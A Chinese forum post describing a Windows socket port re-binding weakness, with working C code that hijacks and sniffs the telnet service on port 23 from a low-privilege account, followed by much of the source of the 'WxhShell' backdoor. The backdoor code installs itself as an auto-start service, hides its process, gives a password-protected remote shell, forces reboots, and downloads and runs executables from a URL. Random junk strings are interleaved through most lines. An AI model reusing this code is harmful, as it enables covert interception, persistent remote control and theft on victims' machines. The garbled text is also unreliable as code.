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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @woC8X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a( |xw  
m^A]+G#/  
  saddr.sin_family = AF_INET; l&|)O6N  
y ||@?Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @d)LRw.I  
Z"D W 2k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L#ZLawG  
,CKvTxz0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^IgS  
H%C\Uz"o  
  这意味着什么?意味着可以进行如下的攻击: m}pL`:e!  
[-58Ezyr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lY,/ W  
{MxnIg7'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S+pP!YX  
9GPb$ gtx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ymkR!  
a2X h>{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2&x7W*  
|*E"G5WZM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;dOs0/UM&  
ns26$bU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H pFb{  
IfB/O.;Kz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X'@f"=v9k  
J[r^T&o  
  #include y;:]F|%<  
  #include :MBS>owR  
  #include (H1lqlVWV#  
  #include    doH2R @  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pU hc3L  
  int main() '=@r7g.2  
  { yZ~b+=UM  
  WORD wVersionRequested; AWL[zixR  
  DWORD ret; "Y(^F bs  
  WSADATA wsaData; ALAL( f`  
  BOOL val; 6g|#ho1Bbs  
  SOCKADDR_IN saddr; pw;r 25   
  SOCKADDR_IN scaddr; f8#*mQ  
  int err; $`v+4]   
  SOCKET s; 1ys(v   
  SOCKET sc; O4N-_Kfp/  
  int caddsize; y7La_FPrl  
  HANDLE mt; Wxs>osq  
  DWORD tid;   bKByU{t  
  wVersionRequested = MAKEWORD( 2, 2 ); FF3&Y^+^"  
  err = WSAStartup( wVersionRequested, &wsaData ); V4EM5 Z\k  
  if ( err != 0 ) { A!4VjE>  
  printf("error!WSAStartup failed!\n"); sbA2W~:  
  return -1; [9HYO  
  } =1/q)b,p)  
  saddr.sin_family = AF_INET; @`Wt4<  
   y<v|X2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oR#my ^  
[G=:?J,P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u>m'FECXj  
  saddr.sin_port = htons(23); hbH#Co~o4#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -_HRqw,Z0  
  { ?DRR+n _  
  printf("error!socket failed!\n"); ;.AV;C"  
  return -1; Rhv%6ekI  
  } :~i+tD  
  val = TRUE; m\?\6W k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t*s!0 'Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *73AAA5LKa  
  { V pH|R  
  printf("error!setsockopt failed!\n"); 'mUI-1GkT  
  return -1; DiR'p`b~  
  } D Kq-C%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R~cIT:i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4a?r` '  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ivD^HhG  
e lay =%)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BJ2Q2W W  
  { El+Ft.7  
  ret=GetLastError(); (Wn "3 ]  
  printf("error!bind failed!\n"); ^H-QYuz:T0  
  return -1; fSr`>UpxC  
  } .c03}RTC^  
  listen(s,2); Q~b_dx{m  
  while(1) , uO?;!t  
  { rX:1_q`xA  
  caddsize = sizeof(scaddr); t +J)dr  
  //接受连接请求 p8_2y~ !  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [m %W:Ez  
  if(sc!=INVALID_SOCKET) _Po#ZGm~  
  { 4V1|jy3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \"t`W:  
  if(mt==NULL) }pt-q[s>  
  { {vjq y&?y  
  printf("Thread Creat Failed!\n"); jKYm/}d  
  break; `P#8(GU  
  } %Dl_}  
  } F-$Kv-f  
  CloseHandle(mt); #c :9 V2  
  } Up'."w_zE  
  closesocket(s); tG_-;03<`4  
  WSACleanup(); ?$2q P`-  
  return 0; u^!&{q  
  }   sBbL~ce50?  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?F9hDLX  
  { rpx 0|{m  
  SOCKET ss = (SOCKET)lpParam; UQSX<6"  
  SOCKET sc; =>P_mPP=  
  unsigned char buf[4096]; .\)--+(  
  SOCKADDR_IN saddr; NavOSlC+h  
  long num; zo/0b/lQ  
  DWORD val; E*h0#m|)  
  DWORD ret; ^GrNfB[Qu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8xc8L1;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {V{0^T-  
  saddr.sin_family = AF_INET; [f /v LLK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \ YjB+[.  
  saddr.sin_port = htons(23); iZsau2K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t*eleNYeS~  
  { h 3eGq:!9  
  printf("error!socket failed!\n"); ^ yY{o/6  
  return -1; X+/{%P!w  
  } iXt4|0  
  val = 100; |2WxcW]U.%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^)(G(=-Rf  
  { c1gz #,  
  ret = GetLastError(); TJeou# =/  
  return -1; ViCg|1c  
  } v$qpcu#o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fQ2!sV  
  {  aOaF&6'j  
  ret = GetLastError(); #nxER   
  return -1; WHZe)|n  
  } !&1}w86  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~)WfJ  
  { 0+$hkd n  
  printf("error!socket connect failed!\n"); ex0 kb  
  closesocket(sc); qz-#LZFTR  
  closesocket(ss); WO.}DUfG+  
  return -1; DQL06`pX/  
  } vE^h}~5U  
  while(1) AH"g^ gw~T  
  { ph}wnIW]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;m2"cL>{l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FZe N,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +?4*,8Tmmz  
  num = recv(ss,buf,4096,0); 6E)uu; 8  
  if(num>0) #QJ4o_  
  send(sc,buf,num,0); [R@q]S/  
  else if(num==0) ="'rH.n #  
  break; ~Q.8 U3"  
  num = recv(sc,buf,4096,0); . }-@;:yh  
  if(num>0) XL"v21X  
  send(ss,buf,num,0); 0+VncL)u  
  else if(num==0) <;TP@-a  
  break; 6T} CPDRq  
  } !ch[I#&J-  
  closesocket(ss); cNuuzA  
  closesocket(sc); mcP{-oJ0W  
  return 0 ; 79<9}<T  
  } s)`1Rf  
+Y.uZJ6+  
eEg1-  
========================================================== ]HZa:aPY  
2F*Dkv  
下边附上一个代码,,WXhSHELL mZ& \3m=  
x]mye  
========================================================== *x# &[>  
w# gU1yu  
#include "stdafx.h" l9ch  
|({UV-`  
#include <stdio.h> t?#vb}_  
#include <string.h> dl3LDB  
#include <windows.h> ;#6<bV  
#include <winsock2.h> ]y)R C-N  
#include <winsvc.h> tc49Ty9$[  
#include <urlmon.h> # ZYid t  
X'3`Q S:!  
#pragma comment (lib, "Ws2_32.lib") )W}/k$S  
#pragma comment (lib, "urlmon.lib") tl,x@['p`  
0[$Mo3c+'  
#define MAX_USER   100 // 最大客户端连接数 ,P; a/{U  
#define BUF_SOCK   200 // sock buffer i"\AyKiJ  
#define KEY_BUFF   255 // 输入 buffer y uK5r  
-XDP-Trk  
#define REBOOT     0   // 重启 Ymk4Cu.s  
#define SHUTDOWN   1   // 关机 G+QNg .pH  
G~iYF(:&  
#define DEF_PORT   5000 // 监听端口 ym,Ot1  
P20]>Hg  
#define REG_LEN     16   // 注册表键长度 ~"<VUJ=Ly:  
#define SVC_LEN     80   // NT服务名长度 (k)gZD9~{?  
)(|0KarF  
// 从dll定义API >!v,`O1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rcx'a:k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MF`k~)bDV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T~ q'y~9o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3 Q%k (,  
y\f8Ird  
// wxhshell配置信息 ??e#E[bI  
struct WSCFG { c:,{ O 0 #  
  int ws_port;         // 监听端口 1n5e^'z  
  char ws_passstr[REG_LEN]; // 口令 VOF:+o@.  
  int ws_autoins;       // 安装标记, 1=yes 0=no )]>Y*<s }  
  char ws_regname[REG_LEN]; // 注册表键名 XX5(/#  
  char ws_svcname[REG_LEN]; // 服务名 [ sO<6?LY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CO)b'V,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t;f p<z7N.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~JmxW;|_x)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vJj j+:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vx4pP$S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <~8f0+"  
\#oV<MR  
}; o-i.'L)X  
)yH#*~X_   
// default Wxhshell configuration YrcC"  
struct WSCFG wscfg={DEF_PORT, w!h{P38  
    "xuhuanlingzhe", ~x^+OXf!^g  
    1, :tDGNz*zG  
    "Wxhshell", Bma|!p{  
    "Wxhshell", h|>n3-k|p  
            "WxhShell Service", :Y?08/V  
    "Wrsky Windows CmdShell Service", DmpJzH j|  
    "Please Input Your Password: ", $MEbePxe  
  1, F-OZIo  
  "http://www.wrsky.com/wxhshell.exe", J-{E`ibGN  
  "Wxhshell.exe" eDZ3SIZ  
    }; |;1:$E"  
}Ml z\'{  
// 消息定义模块 3Eux-C!t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (C[S?@S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G uI sM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bL#TR;*]  
char *msg_ws_ext="\n\rExit."; jQlK-U=oi  
char *msg_ws_end="\n\rQuit."; :[?o7%"  
char *msg_ws_boot="\n\rReboot..."; sOHAW*+  
char *msg_ws_poff="\n\rShutdown..."; ^?0,G>I%-  
char *msg_ws_down="\n\rSave to "; ^[NmNi*  
AhZ  
char *msg_ws_err="\n\rErr!"; o;P;=<  
char *msg_ws_ok="\n\rOK!"; *)SgdC/f  
vK>^#b3  
char ExeFile[MAX_PATH]; t/BiZo|zl  
int nUser = 0; )bg,rESM  
HANDLE handles[MAX_USER]; ! yUKNR  
int OsIsNt; iiFKt(  
KD*4n'm!>  
SERVICE_STATUS       serviceStatus; $1 \!Oe[i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  } R6h  
7lOiFw  
// 函数声明 3&2q\]Y,  
int Install(void); 3CRBu:)m  
int Uninstall(void); U,(+rMeY0  
int DownloadFile(char *sURL, SOCKET wsh); ~ +$><qj  
int Boot(int flag); TzXl ?N  
void HideProc(void); ';V+~pi  
int GetOsVer(void); >#|Q,hVU5  
int Wxhshell(SOCKET wsl); *9&YkVw~  
void TalkWithClient(void *cs); "Y0[rSz,UW  
int CmdShell(SOCKET sock); / /rWc,c  
int StartFromService(void); ) O^08]Y g  
int StartWxhshell(LPSTR lpCmdLine); e28#Yh@U  
q|2C>{8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bGa":|}F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g?M69~G$:x  
=Z$6+^L  
// 数据结构和表定义 FZ/&[;E!  
SERVICE_TABLE_ENTRY DispatchTable[] = ".Ug A\0  
{ Or|LyQU  
{wscfg.ws_svcname, NTServiceMain}, L  *@>/N  
{NULL, NULL} [J 3;U6  
}; "j>0A Hem  
+[DVD  
// 自我安装 2kve?/  
int Install(void) uIwyan-  
{ jm"xf7  
  char svExeFile[MAX_PATH]; ']D( ({%g  
  HKEY key; c6|&?}F  
  strcpy(svExeFile,ExeFile); oPir]` re  
Q4*cL5j  
// 如果是win9x系统,修改注册表设为自启动 WI3!?>d  
if(!OsIsNt) { P&;I]2#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z{x -Vfd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }J`Gm  
  RegCloseKey(key); VxoMK7'O=/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1[ Pbsb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #>'0C6Xn  
  RegCloseKey(key); Af~AE2b3"  
  return 0; )M~5F,)  
    } UHWun I S  
  } qE[}Cf]X  
} E*vi@aI  
else { ^;d;b<  
[<t*&Kr+o  
// 如果是NT以上系统,安装为系统服务 QWEK;kUa@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b`mEnI VIz  
if (schSCManager!=0) _QY "#  
{ >qla,}x  
  SC_HANDLE schService = CreateService ]g :ZokU  
  ( "cx" d:  
  schSCManager, lk|/N^8M  
  wscfg.ws_svcname, _U %B1s3y  
  wscfg.ws_svcdisp, #]2u!a ma  
  SERVICE_ALL_ACCESS, "P~>AXcq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ORNE>6J H  
  SERVICE_AUTO_START, (TPD!=  
  SERVICE_ERROR_NORMAL, _+i-)  
  svExeFile, Uka 4iya  
  NULL, $8)/4P?OL  
  NULL, :([,vO:  
  NULL, qyto`n7  
  NULL, 9 +6"<r!  
  NULL #,sJd^uI  
  ); hwJ.M4  
  if (schService!=0) ^H'#*b0u  
  { 6tM{cK%v1  
  CloseServiceHandle(schService); (@ Bw@9  
  CloseServiceHandle(schSCManager); D c^d$gh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x =k$^V~  
  strcat(svExeFile,wscfg.ws_svcname); n~LR=o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9I9)5`d|Jn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y+E@afsKs  
  RegCloseKey(key); q:( K^  
  return 0; +x1sV*S  
    } Q]\x O/  
  }  Cfi5r|S  
  CloseServiceHandle(schSCManager); >z2 {D7  
} E ?-K_p  
}  /Wa+mp  
(L\tp> E-  
return 1; uo0(W3Q *  
} +CACs7tV  
XH/|jE.9^|  
// 自我卸载 9wYbY* j  
int Uninstall(void) wZ\0<skU  
{ Sdn] f4  
  HKEY key; _ &T$0SZco  
87-oR}/r  
if(!OsIsNt) { &CS=*)>$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _*+M'3&=  
  RegDeleteValue(key,wscfg.ws_regname); FIuKX"XR  
  RegCloseKey(key); SXhJz=h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >uVG]  
  RegDeleteValue(key,wscfg.ws_regname); !({[^[!  
  RegCloseKey(key); 4:K9FqU  
  return 0; MT3UJ6~P  
  } G#csN&|,  
} B%,0zb+-L  
} <fP|<>s$@1  
else { ;2U`?"  
my Po&"_ x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !#'*@a  
if (schSCManager!=0) 8r~4iVwg  
{ uG/Zpi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rT x]%{  
  if (schService!=0) H#f FU  
  { bk V_ ^8  
  if(DeleteService(schService)!=0) { \KTX{qI"f  
  CloseServiceHandle(schService); x]F:~(P  
  CloseServiceHandle(schSCManager); qLcs)&}/A  
  return 0; &n['#7 <(!  
  } <FP&1Eg!|  
  CloseServiceHandle(schService); H=*;3gM,'  
  } u-8,9  
  CloseServiceHandle(schSCManager); \h:$q E7  
} t1D6#JP(a  
} gx3arVa  
gVb;sk^  
return 1; M-eX>}CDm  
} g$uj<"^  
'v?Z~"w=  
// 从指定url下载文件 wPyfne?~,  
int DownloadFile(char *sURL, SOCKET wsh) oPl^tzO  
{ 8^kw  
  HRESULT hr; L_Z>*s&  
char seps[]= "/"; 1a`dB ~>  
char *token; y%f'7YZ4  
char *file; l1nrJm8  
char myURL[MAX_PATH]; "OkJPu2!W  
char myFILE[MAX_PATH]; %R."  
ht)J#Di  
strcpy(myURL,sURL); 54v}iG  
  token=strtok(myURL,seps); ,-D3tleu`  
  while(token!=NULL) T=%,^  
  { `5:b=^'D /  
    file=token; C`Zz\DNG@  
  token=strtok(NULL,seps); -uX): h!  
  } M $ CnaH  
4"7/+6Z  
GetCurrentDirectory(MAX_PATH,myFILE); /GRkQ",  
strcat(myFILE, "\\"); DJR_"8  
strcat(myFILE, file); jYI\.bc  
  send(wsh,myFILE,strlen(myFILE),0); 22$M6Qof]n  
send(wsh,"...",3,0); "dQ02y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c<Fr^8  
  if(hr==S_OK) ?NWc3 .  
return 0; j"1#n? 0  
else E+)3n[G  
return 1; hT go  
Yv>kToa\^  
} u7L&cx  
 >cw%ckE  
// 系统电源模块 8#L V oR  
int Boot(int flag) X;'H@GU0  
{ 4h~CDy%_  
  HANDLE hToken; _Fkz^B*  
  TOKEN_PRIVILEGES tkp; cao=O \Y7  
|kGj}v3  
  if(OsIsNt) { y!eT>4Oyg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); []OmztB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4 '"C8vw.  
    tkp.PrivilegeCount = 1; _xY dnTEl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QNWGUg4*&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \w#)uYK{i_  
if(flag==REBOOT) { XSHK7vpMf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4]G J+a  
  return 0; [8jIu&tJf  
} J~}sQ{ 0  
else { i/|}#yw8A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HQ:Y:  
  return 0; f*o+g:]3  
} )5Wt(p:T6_  
  } /L{V3}[j  
  else { fb+_]{7g  
if(flag==REBOOT) { WYJH+"@%j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F ~SA3M:  
  return 0; L%;fYi;n  
} 9x`1VR :  
else { &8\6%C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ij5|P4Eka  
  return 0; Nnx dO0X  
} B_mT[)ut  
} B@k2lHks(  
(h"-#q8$  
return 1; 3!M|Sf<s  
} ;W{2\ Es  
+?)R}\\  
// win9x进程隐藏模块 #(7^V y&  
void HideProc(void) 'pj*6t1~  
{ >t#5eT`_ w  
dk/f_m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u.ej<Lo  
  if ( hKernel != NULL ) !mH !W5&  
  { uN&UYJ' B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (&MtK1;;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %/oeV;D  
    FreeLibrary(hKernel); Cz|F%>y#  
  } NK\0X5##.  
K2{6{X=  
return; &yRR!1n)H  
} ?U+nR/H:6  
DGbEQiX$\  
// 获取操作系统版本 dWTc3@xd  
int GetOsVer(void) xc}kDpF=g  
{ f|6 Y  
  OSVERSIONINFO winfo; J\Db8O-/x4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^P|Zze zwU  
  GetVersionEx(&winfo); } _=h]|6t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .cm9&&"Z  
  return 1; o-<XR9,N*  
  else &$bcB]C\3  
  return 0; '>cZ7:  
} 068DC_  
:.= #U  
// 客户端句柄模块 XTJA"y  
int Wxhshell(SOCKET wsl) "m > BE  
{ L"RE[" m  
  SOCKET wsh; O{x-9p  
  struct sockaddr_in client; j1 H eX  
  DWORD myID; ` ZBOaN^if  
^EJ]LNk }  
  while(nUser<MAX_USER) vddl9"V)  
{ ; GEr8_7  
  int nSize=sizeof(client); s14D(:t(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vkf c&+  
  if(wsh==INVALID_SOCKET) return 1; OP|X-  
IdoS6   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;o158H$gz;  
if(handles[nUser]==0) [>LO'}%  
  closesocket(wsh); &r+!rL Kp  
else *4/KK  
  nUser++; dTWcn7C  
  } ]?T,J+S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D+u\ORj  
t>P[Yld"  
  return 0; G<P/COI#M5  
} `ff@f]|3^  
>}B53.;.k  
// 关闭 socket c*r@QmB:  
void CloseIt(SOCKET wsh) 9a#Y D;-p  
{ LJA uTg  
closesocket(wsh); 1 F&}e&}c  
nUser--; H2'djZ  
ExitThread(0); OaKr_m  
} tkQrxa|  
!yvw5As%  
// 客户端请求句柄 W/VE B3P>Z  
void TalkWithClient(void *cs) +TAyCxfmt  
{ ]c1#_MW  
kzVK%[/  
  SOCKET wsh=(SOCKET)cs; &oE'|^G  
  char pwd[SVC_LEN]; {11 3B)  
  char cmd[KEY_BUFF];  ;{Yr|  
char chr[1]; 5&.I9}[)j  
int i,j; I+QM":2  
#r,!-;^'p  
  while (nUser < MAX_USER) { cd`P'GDF  
g'Wr+( A_  
if(wscfg.ws_passstr) { Z 5g*'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U] P{~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p0D@O_ :5  
  //ZeroMemory(pwd,KEY_BUFF); 8@ S@^C*F  
      i=0; ,Iru_=Wk~  
  while(i<SVC_LEN) { ~Rx`:kQ  
^A=2#j~H\  
  // 设置超时 WD5jO9Oai  
  fd_set FdRead; R[kF(C&  
  struct timeval TimeOut; &UVqF o  
  FD_ZERO(&FdRead); qT01@Bku  
  FD_SET(wsh,&FdRead); ?4#  
  TimeOut.tv_sec=8; G^Y^)pc]   
  TimeOut.tv_usec=0; 0EasPbp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .@\(ay  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ] f5vk  
K+d{R=s^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /z(d!0_q|v  
  pwd=chr[0]; Jpy~5kS  
  if(chr[0]==0xd || chr[0]==0xa) { pq%inSY  
  pwd=0; ol~ tfS  
  break; ~i.rk#{?D  
  } EN__C$  
  i++; G5lBCm   
    } ,."wxP2u  
#=72 /[  
  // 如果是非法用户,关闭 socket cYvt!M\ed  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r?|(t?  
} >}/T&S  
?BbEQr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); );?tGX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L3\( <[  
wc#k@"2AZb  
while(1) { r*ziO#[  
[ {HTGz@(  
  ZeroMemory(cmd,KEY_BUFF); ;Ah eeq746  
\mZB*k)+  
      // 自动支持客户端 telnet标准   lk` |u$KPz  
  j=0; )`S5>[6  
  while(j<KEY_BUFF) { L8oqlq( 9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q^uCZnkb=  
  cmd[j]=chr[0]; NZlCn:"  
  if(chr[0]==0xa || chr[0]==0xd) { [!Djs![O  
  cmd[j]=0; -0I&dG-  
  break; a '?LC)^  
  } UR(i_T&w  
  j++; t0za%q!fK<  
    } <dAxB$16sT  
7+Nl)d:C J  
  // 下载文件 EWq < B)  
  if(strstr(cmd,"http://")) { 4hYK$!"r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o}D }Q"=A  
  if(DownloadFile(cmd,wsh)) 4;(W0RQa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CtUAbR  
  else flz7{W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7<(kvE*x  
  } 9{rE7OX*A  
  else { F6\4[B  
7\X_%SM%  
    switch(cmd[0]) { ulk/I-y  
  s){VU2.ra  
  // 帮助 'H"!%y{:i  
  case '?': { ?m9=Me  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I,aaSBwt&2  
    break; uL:NWgN  
  } e;LC\*dG  
  // 安装 gQ|?~hYYv  
  case 'i': { Zqv  
    if(Install()) -a l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \^!<Y\\  
    else f3s4aARP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZkdSgc')  
    break; sQ&<cBs2  
    } e`+ej-o,  
  // 卸载 .bRtK+}F#  
  case 'r': { 9JeT1\VvHY  
    if(Uninstall()) 9H53H"5q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G @]n(\7Y  
    else l\2"u M#7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [#AI!-  
    break; gt=@v())  
    } &'/bnN +R  
  // 显示 wxhshell 所在路径 '5A&c(  
  case 'p': { u Tdz$Nh  
    char svExeFile[MAX_PATH]; $O fZp<M  
    strcpy(svExeFile,"\n\r"); 3ly ]DTbz  
      strcat(svExeFile,ExeFile); tVNFulcz$  
        send(wsh,svExeFile,strlen(svExeFile),0); U.=TjCW  
    break; Ci[Ja#p7$h  
    } Gs4t6+Al  
  // 重启 ) bd`U  
  case 'b': { }h|HT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '$4&q629d  
    if(Boot(REBOOT)) o*[[nK*fL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R <&U]%FD  
    else { e5w0}/yW/  
    closesocket(wsh); -k%|sqDZj  
    ExitThread(0); V<U9Pj^?^  
    } dV^ck+  
    break; ^e80S^  
    } +O8}twt@  
  // 关机 $J]NWgXl@  
  case 'd': { ,o0[^-b<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 82 1 6_Qm  
